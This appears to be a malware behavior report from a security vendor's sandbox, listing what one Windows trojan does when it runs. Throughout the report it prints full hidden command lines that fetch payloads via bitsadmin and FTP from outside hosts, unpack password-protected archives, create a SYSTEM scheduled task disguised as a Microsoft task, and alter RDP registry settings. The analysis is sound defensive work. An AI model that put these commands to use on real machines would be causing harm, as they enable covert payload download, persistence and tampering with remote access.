Technical Information
Malicious functions
Creates and executes the following
- '%WINDIR%\sevnv.exe' x %WINDIR%\dxload\dra.zip -o%WINDIR%\dxload -y
- '%WINDIR%\sevnv.exe' x %WINDIR%\dxload\drs.zip.001 -y -o%WINDIR%\dxload
- '%WINDIR%\sevnv.exe' x %WINDIR%\dxload\dr.zip -pOAKd2kka -y -o%WINDIR%\dxload
Modifies file system
Creates the following files
- %WINDIR%\bita5f6.tmp
- %WINDIR%\dxload\bite56.tmp
- %WINDIR%\dxload\drs.zip.001
- %WINDIR%\dxload\drs.zip.002
- %WINDIR%\dxload\drs.zip.003
- %WINDIR%\dxload\dr.zip
- %WINDIR%\dxload\dr.vbs
- %WINDIR%\dxload\rtlsys.xml
Sets the 'hidden' attribute to the following files
- %WINDIR%\bita5f6.tmp
- %WINDIR%\dxload\bite56.tmp
Moves the following files
- from %WINDIR%\bita5f6.tmp to %WINDIR%\sevnv.exe
- from %WINDIR%\dxload\bite56.tmp to %WINDIR%\dxload\dra.zip
Network activity
TCP
- 'ar##ive.org':443
- 'ia#####7.us.archive.org':443
UDP
- DNS ASK ar##ive.org
- DNS ASK ia#####7.us.archive.org
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cscript.exe' %WINDIR%\dxload\dr.vbs //B
- '<SYSTEM32>\cmd.exe' /c rmdir /q /s %WINDIR%\dxload' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c tasklist /NH /FO CSV > "%WINDIR%\dxload\pr.txt"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /RU SYSTEM /f /tn \Microsoft\Windows\Ras\SystemCheckSvc /xml %WINDIR%\dxload\rtlsys.xml' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /f /v "UserAuthentication" /t REG_SZ /d 1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v "UserAuthentication" /t REG_DWORD /d 1' (with hidden window)
- '<SYSTEM32>\cscript.exe' %WINDIR%\dxload\dr.vbs //B' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c %WINDIR%\ctrlserv.exe -o %WINDIR%\dxload\dmart.zip ftp://ft#.##rverpit.com/dmart.zip --connect-timeout 300 --max-time 3000 --retry 3 --insecure' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c cd/d %WINDIR%\dxload&%WINDIR%\sevnv.exe x %WINDIR%\dxload\dr.zip -pOAKd2kka -y -o%WINDIR%\dxload' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c cd/d %WINDIR%\dxload&%WINDIR%\sevnv.exe x %WINDIR%\dxload\dra.zip -o%WINDIR%\dxload -y' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer dra /priority foreground https://archive.org/download/ensevupd/dra.zip %WINDIR%\dxload\dra.zip' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c %WINDIR%\ctrlserv.exe -o %WINDIR%\dxload\dra.zip ftp://ft#.##rverpit.com/dra.zip --connect-timeout 300 --max-time 3000 --retry 3 --insecure' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer s7 /priority foreground https://archive.org/download/ensevupd/sevnv.exe %WINDIR%\sevnv.exe' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c %WINDIR%\ctrlserv.exe -o %WINDIR%\sevnv.exe ftp://ft#.##rverpit.com/sevnv.exe --connect-timeout 300 --max-time 3000 --retry 3 --insecure' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c mkdir %WINDIR%\dxload' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c cd/d %WINDIR%\dxload&%WINDIR%\sevnv.exe x %WINDIR%\dxload\drs.zip.001 -y -o%WINDIR%\dxload' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer dmart /priority foreground https://archive.org/download/ensevupd/dmart.zip %WINDIR%\dxload\dmart.zip' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c rmdir /q /s %WINDIR%\dxload
- '<SYSTEM32>\cmd.exe' /c %WINDIR%\ctrlserv.exe -o %WINDIR%\dxload\dmart.zip ftp://ft#.##rverpit.com/dmart.zip --connect-timeout 300 --max-time 3000 --retry 3 --insecure
- '<SYSTEM32>\tasklist.exe' /NH /FO CSV
- '<SYSTEM32>\cmd.exe' /c tasklist /NH /FO CSV > "%WINDIR%\dxload\pr.txt"
- '<SYSTEM32>\schtasks.exe' /create /RU SYSTEM /f /tn \Microsoft\Windows\Ras\SystemCheckSvc /xml %WINDIR%\dxload\rtlsys.xml
- '<SYSTEM32>\cmd.exe' /c schtasks /create /RU SYSTEM /f /tn \Microsoft\Windows\Ras\SystemCheckSvc /xml %WINDIR%\dxload\rtlsys.xml
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /f /v "UserAuthentication" /t REG_SZ /d 1
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /f /v "UserAuthentication" /t REG_SZ /d 1
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v "UserAuthentication" /t REG_DWORD /d 1
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v "UserAuthentication" /t REG_DWORD /d 1
- '<SYSTEM32>\cmd.exe' /c cd/d %WINDIR%\dxload&%WINDIR%\sevnv.exe x %WINDIR%\dxload\dr.zip -pOAKd2kka -y -o%WINDIR%\dxload
- '<SYSTEM32>\cmd.exe' /c cd/d %WINDIR%\dxload&%WINDIR%\sevnv.exe x %WINDIR%\dxload\drs.zip.001 -y -o%WINDIR%\dxload
- '<SYSTEM32>\cmd.exe' /c cd/d %WINDIR%\dxload&%WINDIR%\sevnv.exe x %WINDIR%\dxload\dra.zip -o%WINDIR%\dxload -y
- '<SYSTEM32>\bitsadmin.exe' /transfer dra /priority foreground https://archive.org/download/ensevupd/dra.zip %WINDIR%\dxload\dra.zip
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer dra /priority foreground https://archive.org/download/ensevupd/dra.zip %WINDIR%\dxload\dra.zip
- '<SYSTEM32>\cmd.exe' /c %WINDIR%\ctrlserv.exe -o %WINDIR%\dxload\dra.zip ftp://ft#.##rverpit.com/dra.zip --connect-timeout 300 --max-time 3000 --retry 3 --insecure
- '<SYSTEM32>\bitsadmin.exe' /transfer s7 /priority foreground https://archive.org/download/ensevupd/sevnv.exe %WINDIR%\sevnv.exe
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer s7 /priority foreground https://archive.org/download/ensevupd/sevnv.exe %WINDIR%\sevnv.exe
- '<SYSTEM32>\cmd.exe' /c %WINDIR%\ctrlserv.exe -o %WINDIR%\sevnv.exe ftp://ft#.##rverpit.com/sevnv.exe --connect-timeout 300 --max-time 3000 --retry 3 --insecure
- '<SYSTEM32>\cmd.exe' /c mkdir %WINDIR%\dxload
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer dmart /priority foreground https://archive.org/download/ensevupd/dmart.zip %WINDIR%\dxload\dmart.zip
- '<SYSTEM32>\bitsadmin.exe' /transfer dmart /priority foreground https://archive.org/download/ensevupd/dmart.zip %WINDIR%\dxload\dmart.zip
